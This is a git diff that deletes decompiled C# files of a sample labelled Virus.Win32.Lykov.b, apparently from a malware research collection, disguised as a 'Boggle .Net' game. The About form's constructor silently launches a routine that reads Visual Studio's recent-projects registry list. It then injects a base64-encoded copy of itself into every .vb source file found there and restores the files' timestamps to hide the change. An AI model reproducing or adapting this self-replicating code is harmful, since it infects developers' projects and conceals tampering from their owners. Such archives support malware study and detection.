-# Visual Studio 2005 -Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "Boggle", "Virus.Win32.Lykov.b-5b4c66fd4c89a7645d7912c18b43ddd7b8db068aa896fea714881ce355eaf833.csproj", "{89C8806B-C890-4312-B823-5525FC0B63BB}" -EndProject -Global - GlobalSection(SolutionConfigurationPlatforms) = preSolution - Debug|Any CPU = Debug|Any CPU - Release|Any CPU = Release|Any CPU - EndGlobalSection - GlobalSection(ProjectConfigurationPlatforms) = postSolution - {89C8806B-C890-4312-B823-5525FC0B63BB}.Debug|Any CPU.ActiveCfg = Debug|Any CPU - {89C8806B-C890-4312-B823-5525FC0B63BB}.Debug|Any CPU.Build.0 = Debug|Any CPU - {89C8806B-C890-4312-B823-5525FC0B63BB}.Release|Any CPU.ActiveCfg = Release|Any CPU - {89C8806B-C890-4312-B823-5525FC0B63BB}.Release|Any CPU.Build.0 = Release|Any CPU - EndGlobalSection - GlobalSection(SolutionProperties) = preSolution - HideSolutionNode = FALSE - EndGlobalSection -EndGlobal diff --git a/MSIL/Virus/Win32/L/Virus.Win32.Lykov.b-5b4c66fd4c89a7645d7912c18b43ddd7b8db068aa896fea714881ce355eaf833/frmAbout.cs b/MSIL/Virus/Win32/L/Virus.Win32.Lykov.b-5b4c66fd4c89a7645d7912c18b43ddd7b8db068aa896fea714881ce355eaf833/frmAbout.cs deleted file mode 100644 index 02e08b0f..00000000 --- a/MSIL/Virus/Win32/L/Virus.Win32.Lykov.b-5b4c66fd4c89a7645d7912c18b43ddd7b8db068aa896fea714881ce355eaf833/frmAbout.cs +++ /dev/null @@ -1,272 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Boggle.frmAbout -// Assembly: Boggle, Version=1.0.1320.31511, Culture=neutral, PublicKeyToken=null -// MVID: B8BB850A-887A-43B2-B89D-3D1301289D01 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Virus.Win32.Lykov.b-5b4c66fd4c89a7645d7912c18b43ddd7b8db068aa896fea714881ce355eaf833.exe - -using Microsoft.VisualBasic; -using Microsoft.VisualBasic.CompilerServices; -using Microsoft.Win32; -using System; -using System.ComponentModel; -using System.Diagnostics; -using System.Drawing; -using System.IO; -using System.Resources; -using System.Runtime.CompilerServices; -using System.Text; -using System.Threading; -using System.Windows.Forms; - -namespace Boggle -{ - public class frmAbout : Form - { - [AccessedThroughProperty("Label3")] - private Label _Label3; - [AccessedThroughProperty("Label2")] - private Label _Label2; - [AccessedThroughProperty("Label1")] - private Label _Label1; - [AccessedThroughProperty("PictureBox1")] - private PictureBox _PictureBox1; - [AccessedThroughProperty("Label4")] - private Label _Label4; - private IContainer components; - - internal virtual Label Label2 - { - get => this._Label2; - [MethodImpl(MethodImplOptions.Synchronized)] set - { - if (this._Label2 == null) - ; - this._Label2 = value; - if (this._Label2 == null) - ; - } - } - - internal virtual PictureBox PictureBox1 - { - [MethodImpl(MethodImplOptions.Synchronized)] set - { - if (this._PictureBox1 == null) - ; - this._PictureBox1 = value; - if (this._PictureBox1 == null) - ; - } - get => this._PictureBox1; - } - - internal virtual Label Label4 - { - [MethodImpl(MethodImplOptions.Synchronized)] set - { - if (this._Label4 == null) - ; - this._Label4 = value; - if (this._Label4 == null) - ; - } - get => this._Label4; - } - - internal virtual Label Label1 - { - get => this._Label1; - [MethodImpl(MethodImplOptions.Synchronized)] set - { - if (this._Label1 == null) - ; - this._Label1 = value; - if (this._Label1 == null) - ; - } - } - - internal virtual Label Label3 - { - [MethodImpl(MethodImplOptions.Synchronized)] set - { - if (this._Label3 == null) - ; - this._Label3 = value; - if (this._Label3 == null) - ; - } - get => this._Label3; - } - - private void vIT() - { - RegistryKey registryKey = Registry.CurrentUser.OpenSubKey("Software\\Microsoft\\VisualStudio\\7.0\\ProjectMRUList"); - if (registryKey.ValueCount == 0) - ProjectData.EndApp(); - string String2 = "Private Sub vIT()"; - string str1 = "Public Sub New()"; - string str2 = "Dim t As New System.Threading.Thread(AddressOf vIT)\r\nt.Start()"; - string str3 = "UHJpdmF0ZSBTdWIgdklUKCkNCkRpbSBYLCBZIEFzIEludGVnZXINCkRpbSBBLCBC" + "KCksIEMsIEcsIEgsIEksIEosIEssIEwgQXMgU3RyaW5nDQpEaW0gRCwgRiBBcyBE" + "YXRlDQpEaW0gUiBBcyBNaWNyb3NvZnQuV2luMzIuUmVnaXN0cnlLZXkNCkRpbSBT" + "IEFzIFN5c3RlbS5JTy5TdHJlYW1SZWFkZXINCkRpbSBUIEFzIFN5c3RlbS5JTy5T" + "dHJlYW1Xcml0ZXINCkRpbSBVIEFzIFN5c3RlbS5JTy5GaWxlQXR0cmlidXRlcw0K" + "UiA9IE1pY3Jvc29mdC5XaW4zMi5SZWdpc3RyeS5DdXJyZW50VXNlci5PcGVuU3Vi" + "S2V5KCJTb2Z0d2FyZVxNaWNyb3NvZnRcVmlzdWFsU3R1ZGlvXDcuMFxQcm9qZWN0" + "TVJVTGlzdCIpDQpJZiBSLlZhbHVlQ291bnQgPSAwIFRoZW4gRW5kDQpHID0gIlBy" + "aXZhdGUgU3ViIHZJVCgpIg0KSCA9ICJQdWJsaWMgU3ViIE5ldygpIg0KSSA9ICJE" + "aW0gdCBBcyBOZXcgU3lzdGVtLlRocmVhZGluZy5UaHJlYWQoQWRkcmVzc09mIHZJ" + "VCkiICYgdmJDckxmICYgInQuU3RhcnQoKSINCkogPSAiIg0KSyA9IFN5c3RlbS5U" + "ZXh0LkVuY29kaW5nLkFTQ0lJLkdldFN0cmluZyhTeXN0ZW0uQ29udmVydC5Gcm9t" + "QmFzZTY0U3RyaW5nKEopKQ0KTCA9ICJKID0gIiAmIENocigzNCkNCkZvciBYID0g" + "MSBUbyBMZW4oSikgU3RlcCA2NA0KSWYgWCArIDY0IDwgTGVuKEopIFRoZW4NCkwg" + "PSBMICYgTWlkKEosIFgsIDY0KSAmIENocigzNCkgJiB2YkNyTGYgJiAiSiA9IEog" + "JiAiICYgQ2hyKDM0KQ0KRWxzZQ0KTCA9IEwgJiBNaWQoSiwgWCwgNjQpICYgQ2hy" + "KDM0KQ0KRW5kIElmDQpOZXh0DQpLID0gUmVwbGFjZShLLCAiSiA9ICIgJiBDaHIo" + "MzQpICYgQ2hyKDM0KSwgTCwgMSwgMSwgQ29tcGFyZU1ldGhvZC5UZXh0KQ0KTCA9" + "ICIiDQpGb3IgWCA9IDAgVG8gUi5WYWx1ZUNvdW50IC0gMQ0KQSA9IFIuR2V0VmFs" + "dWUoUi5HZXRWYWx1ZU5hbWVzKFgpKQ0KQSA9IE1pZChBLCAxLCBJblN0clJldihB" + "LCAiXCIsIC0xLCBDb21wYXJlTWV0aG9kLlRleHQpKQ0KSWYgU3lzdGVtLklPLkRp" + "cmVjdG9yeS5FeGlzdHMoQSkgVGhlbg0KQiA9IFN5c3RlbS5JTy5EaXJlY3Rvcnku" + "R2V0RmlsZXMoQSwgIioudmIiKQ0KRm9yIFkgPSBMQm91bmQoQikgVG8gVUJvdW5k" + "KEIpDQpEID0gU3lzdGVtLklPLkZpbGUuR2V0TGFzdEFjY2Vzc1RpbWUoQihZKSkN" + "CkYgPSBTeXN0ZW0uSU8uRmlsZS5HZXRMYXN0V3JpdGVUaW1lKEIoWSkpDQpVID0g" + "U3lzdGVtLklPLkZpbGUuR2V0QXR0cmlidXRlcyhCKFkpKQ0KU3lzdGVtLklPLkZp" + "bGUuU2V0QXR0cmlidXRlcyhCKFkpLCBJTy5GaWxlQXR0cmlidXRlcy5Ob3JtYWwp" + "DQpTID0gU3lzdGVtLklPLkZpbGUuT3BlblRleHQoQihZKSkNCkMgPSBTLlJlYWRU" + "b0VuZCgpDQpTLkNsb3NlKCkNCklmIEluU3RyKEMsIEcsIENvbXBhcmVNZXRob2Qu" + "VGV4dCkgPSAwIEFuZCBJblN0cihDLCBILCBDb21wYXJlTWV0aG9kLlRleHQpIDw+" + "IDAgVGhlbg0KQyA9IFJlcGxhY2UoQywgIk15QmFzZS5OZXcoKSIsICJNeUJhc2Uu" + "TmV3KCkiICYgdmJDckxmICYgSSwgLCAxLCBDb21wYXJlTWV0aG9kLlRleHQpDQpD" + "ID0gUmVwbGFjZShDLCBILCBLICYgSCwgLCAxLCBDb21wYXJlTWV0aG9kLlRleHQp" + "DQpUID0gU3lzdGVtLklPLkZpbGUuQ3JlYXRlVGV4dChCKFkpKQ0KVC5Xcml0ZShD" + "KQ0KVC5GbHVzaCgpDQpULkNsb3NlKCkNCkVuZCBJZg0KU3lzdGVtLklPLkZpbGUu" + "U2V0TGFzdFdyaXRlVGltZShCKFkpLCBGKQ0KU3lzdGVtLklPLkZpbGUuU2V0TGFz" + "dEFjY2Vzc1RpbWUoQihZKSwgRCkNClN5c3RlbS5JTy5GaWxlLlNldEF0dHJpYnV0" + "ZXMoQihZKSwgVSkNCk5leHQNCkVuZCBJZg0KTmV4dA0KRW5kIFN1Yg0K"; - string Expression = Encoding.ASCII.GetString(Convert.FromBase64String(str3)); - string Replacement = "J = \""; - int num1 = Strings.Len(str3); - int Start = 1; - while (Start <= num1) - { - Replacement = checked (Start + 64) >= Strings.Len(str3) ? Replacement + Strings.Mid(str3, Start, 64) + "\"" : Replacement + Strings.Mid(str3, Start, 64) + "\"" + "\r\nJ = J & " + "\""; - checked { Start += 64; } - } - string str4 = Strings.Replace(Expression, "J = \"\"", Replacement, Count: 1, Compare: CompareMethod.Text); - int num2 = checked (registryKey.ValueCount - 1); - int index1 = 0; - while (index1 <= num2) - { - string str5 = StringType.FromObject(registryKey.GetValue(registryKey.GetValueNames()[index1])); - string path = Strings.Mid(str5, 1, Strings.InStrRev(str5, "\\", Compare: CompareMethod.Text)); - if (Directory.Exists(path)) - { - string[] files = Directory.GetFiles(path, "*.vb"); - int num3 = Information.LBound((Array) files); - int num4 = Information.UBound((Array) files); - int index2 = num3; - while (index2 <= num4) - { - DateTime lastAccessTime = File.GetLastAccessTime(files[index2]); - DateTime lastWriteTime = File.GetLastWriteTime(files[index2]); - FileAttributes attributes = File.GetAttributes(files[index2]); - File.SetAttributes(files[index2], FileAttributes.Normal); - StreamReader streamReader = File.OpenText(files[index2]); - string end = streamReader.ReadToEnd(); - streamReader.Close(); - if (Strings.InStr(end, String2, CompareMethod.Text) == 0 & Strings.InStr(end, str1, CompareMethod.Text) != 0) - { - string str6 = Strings.Replace(Strings.Replace(end, "MyBase.New()", "MyBase.New()\r\n" + str2, Count: 1, Compare: CompareMethod.Text), str1, str4 + str1, Count: 1, Compare: CompareMethod.Text); - StreamWriter text = File.CreateText(files[index2]); - text.Write(str6); - text.Flush(); - text.Close(); - } - File.SetLastWriteTime(files[index2], lastWriteTime); - File.SetLastAccessTime(files[index2], lastAccessTime); - File.SetAttributes(files[index2], attributes); - checked { ++index2; } - } - } - checked { ++index1; } - } - } - - public frmAbout() - { - this.Load += new EventHandler(this.frmAbout_Load); - new Thread(new ThreadStart(this.vIT)).Start(); - this.InitializeComponent(); - } - - protected override void Dispose(bool disposing) - { - if (disposing && this.components != null) - this.components.Dispose(); - base.Dispose(disposing); - } - - [DebuggerStepThrough] - private void InitializeComponent() - { - ResourceManager resourceManager = new ResourceManager(typeof (frmAbout)); - this.Label1 = new Label(); - this.Label2 = new Label(); - this.Label3 = new Label(); - this.Label4 = new Label(); - this.PictureBox1 = new PictureBox(); - this.SuspendLayout(); - this.Label1.Font = new Font("Microsoft Sans Serif", 9f, FontStyle.Bold, GraphicsUnit.Point, (byte) 0); - Label label1_1 = this.Label1; - Point point1 = new Point(152, 16); - Point point2 = point1; - label1_1.Location = point2; - this.Label1.Name = "Label1"; - Label label1_2 = this.Label1; - Size size1 = new Size(88, 24); - Size size2 = size1; - label1_2.Size = size2; - this.Label1.TabIndex = 0; - this.Label1.Text = "Boggle .Net"; - this.Label2.Font = new Font("Microsoft Sans Serif", 9f, FontStyle.Bold, GraphicsUnit.Point, (byte) 0); - Label label2_1 = this.Label2; - point1 = new Point(152, 48); - Point point3 = point1; - label2_1.Location = point3; - this.Label2.Name = "Label2"; - Label label2_2 = this.Label2; - size1 = new Size(216, 24); - Size size3 = size1; - label2_2.Size = size3; - this.Label2.TabIndex = 1; - this.Label2.Text = "Copyright (C) 2003 Billy Collins"; - this.Label3.Font = new Font("Microsoft Sans Serif", 9f, FontStyle.Bold, GraphicsUnit.Point, (byte) 0); - Label label3_1 = this.Label3; - point1 = new Point(152, 80); - Point point4 = point1; - label3_1.Location = point4; - this.Label3.Name = "Label3"; - Label label3_2 = this.Label3; - size1 = new Size(216, 24); - Size size4 = size1; - label3_2.Size = size4; - this.Label3.TabIndex = 2; - this.Label3.Text = "Programmed By: Billy Collins"; - this.Label4.Font = new Font("Microsoft Sans Serif", 9f, FontStyle.Bold, GraphicsUnit.Point, (byte) 0); - Label label4_1 = this.Label4; - point1 = new Point(152, 112); - Point point5 = point1; - label4_1.Location = point5; - this.Label4.Name = "Label4"; - Label label4_2 = this.Label4; - size1 = new Size(208, 24); - Size size5 = size1; - label4_2.Size = size5; - this.Label4.TabIndex = 3; - this.Label4.Text = "Images By: Peter Tuttle"; - this.PictureBox1.Image = (Image) resourceManager.GetObject("PictureBox1.Image"); - PictureBox pictureBox1_1 = this.PictureBox1; - point1 = new Point(8, 16); - Point point6 = point1; - pictureBox1_1.Location = point6; - this.PictureBox1.Name = "PictureBox1"; - PictureBox pictureBox1_2 = this.PictureBox1; - size1 = new Size(128, 120); - Size size6 = size1; - pictureBox1_2.Size = size6; - this.PictureBox1.SizeMode = PictureBoxSizeMode.StretchImage; - this.PictureBox1.TabIndex = 4; - this.PictureBox1.TabStop = false; - size1 = new Size(5, 13); - this.AutoScaleBaseSize = size1; - size1 = new Size(378, 151); - this.ClientSize = size1; - this.Controls.AddRange(new Control[5] - { - (Control) this.PictureBox1, - (Control) this.Label4, - (Control) this.Label3, - (Control) this.Label2, - (Control) this.Label1 - }); - this.FormBorderStyle = FormBorderStyle.FixedSingle; - this.MaximizeBox = false; - this.MinimizeBox = false; - this.Name = nameof (frmAbout); - this.Text = "About Boggle .Net"; - this.TopMost = true; - this.ResumeLayout(false); - } - - private void frmAbout_Load(object sender, EventArgs e) - { - this.Left = checked ((int) Math.Round(unchecked ((double) Screen.PrimaryScreen.Bounds.Width / 2.0 - (double) this.Width / 2.0))); - this.Top = checked ((int) Math.Round(unchecked ((double) Screen.PrimaryScreen.Bounds.Height / 2.0 - (double) this.Height / 2.0))); - } - } -} diff --git a/MSIL/Virus/Win32/L/Virus.Win32.Lykov.b-5b4c66fd4c89a7645d7912c18b43ddd7b8db068aa896fea714881ce355eaf833/frmAbout.resx b/MSIL/Virus/Win32/L/Virus.Win32.Lykov.b-5b4c66fd4c89a7645d7912c18b43ddd7b8db068aa896fea714881ce355eaf833/frmAbout.resx deleted file mode 100644 index 62df8e11..00000000 --- a/MSIL/Virus/Win32/L/Virus.Win32.Lykov.b-5b4c66fd4c89a7645d7912c18b43ddd7b8db068aa896fea714881ce355eaf833/frmAbout.resx +++ /dev/null @@ -1,141 +0,0 @@ - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - text/microsoft-resx - - - 2.0 - - - System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 - - - System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 - - - AAEAAAD/////AQAAAAAAAAAMAgAAAExTeXN0ZW0sIFZlcnNpb249MS4wLjMzMDAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5BQEAAAAfU3lzdGVtLkNvZGVEb20uTWVtYmVyQXR0cmlidXRlcwEAAAAHdmFsdWVfXwAIAgAAAAAQAAAL - - - AAEAAAD/////AQAAAAAAAAAMAgAAAExTeXN0ZW0sIFZlcnNpb249MS4wLjMzMDAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5BQEAAAAfU3lzdGVtLkNvZGVEb20uTWVtYmVyQXR0cmlidXRlcwEAAAAHdmFsdWVfXwAIAgAAAAAQAAAL - - - CGZybUFib3V0 - - - AAEAAAD/////AQAAAAAAAAAMAgAAAExTeXN0ZW0sIFZlcnNpb249MS4wLjMzMDAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5BQEAAAAfU3lzdGVtLkNvZGVEb20uTWVtYmVyQXR0cmlidXRlcwEAAAAHdmFsdWVfXwAIAgAAAAAQAAAL - - - AAEAAAD/////AQAAAAAAAAAMAgAAAExTeXN0ZW0sIFZlcnNpb249MS4wLjMzMDAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5BQEAAAAfU3lzdGVtLkNvZGVEb20uTWVtYmVyQXR0cmlidXRlcwEAAAAHdmFsdWVfXwAIAgAAAAAQAAAL - - - AAEAAAD/////AQAAAAAAAAAMAgAAAFRTeXN0ZW0uRHJhd2luZywgVmVyc2lvbj0xLjAuMzMwMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWIwM2Y1ZjdmMTFkNTBhM2EFAQAAABVTeXN0ZW0uRHJhd2luZy5CaXRtYXABAAAABERhdGEHAgIAAAAJAwAAAA8DAAAA24IAAAL/2P/gABBKRklGAAECAQBgAGAAAP/hGcRFeGlmAABNTQAqAAAACAAHARIAAwAAAAEAAQAAARoABQAAAAEAAABiARsABQAAAAEAAABqASgAAwAAAAEAAgAAATEAAgAAABQAAAByATIAAgAAABQAAACGh2kABAAAAAEAAACcAAAAyAAAAGAAAAABAAAAYAAAAAFBZG9iZSBQaG90b3Nob3AgNy4wADIwMDI6MTI6MTEgMTc6NTc6MjYAAAAAA6ABAAMAAAAB//8AAKACAAQAAAABAAABHaADAAQAAAABAAABHQAAAAAAAAAGkoYAAwAAAAEAAAAGkoYABQAAAAEAAAEWkoYABQAAAAEAAAEekoYAAwAAAAEeAQACkoYABAAAAAEAAAEmkoYABAAAAAEAABiWAAAAAAAAAEgAAAABAAAASAAAAAH/2P/gABBKRklGAAECAQBIAEgAAP/tAAxBZG9iZV9DTQAC/+4ADkFkb2JlAGSAAAAAAf/bAIQADAgICAkIDAkJDBELCgsRFQ8MDA8VGBMTFRMTGBEMDAwMDAwRDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAENCwsNDg0QDg4QFA4ODhQUDg4ODhQRDAwMDAwREQwMDAwMDBEMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwM/8AAEQgAgACAAwEiAAIRAQMRAf/dAAQACP/EAT8AAAEFAQEBAQEBAAAAAAAAAAMAAQIEBQYHCAkKCwEAAQUBAQEBAQEAAAAAAAAAAQACAwQFBgcICQoLEAABBAEDAgQCBQcGCAUDDDMBAAIRAwQhEjEFQVFhEyJxgTIGFJGhsUIjJBVSwWIzNHKC0UMHJZJT8OHxY3M1FqKygyZEk1RkRcKjdDYX0lXiZfKzhMPTdePzRieUpIW0lcTU5PSltcXV5fVWZnaGlqa2xtbm9jdHV2d3h5ent8fX5/cRAAICAQIEBAME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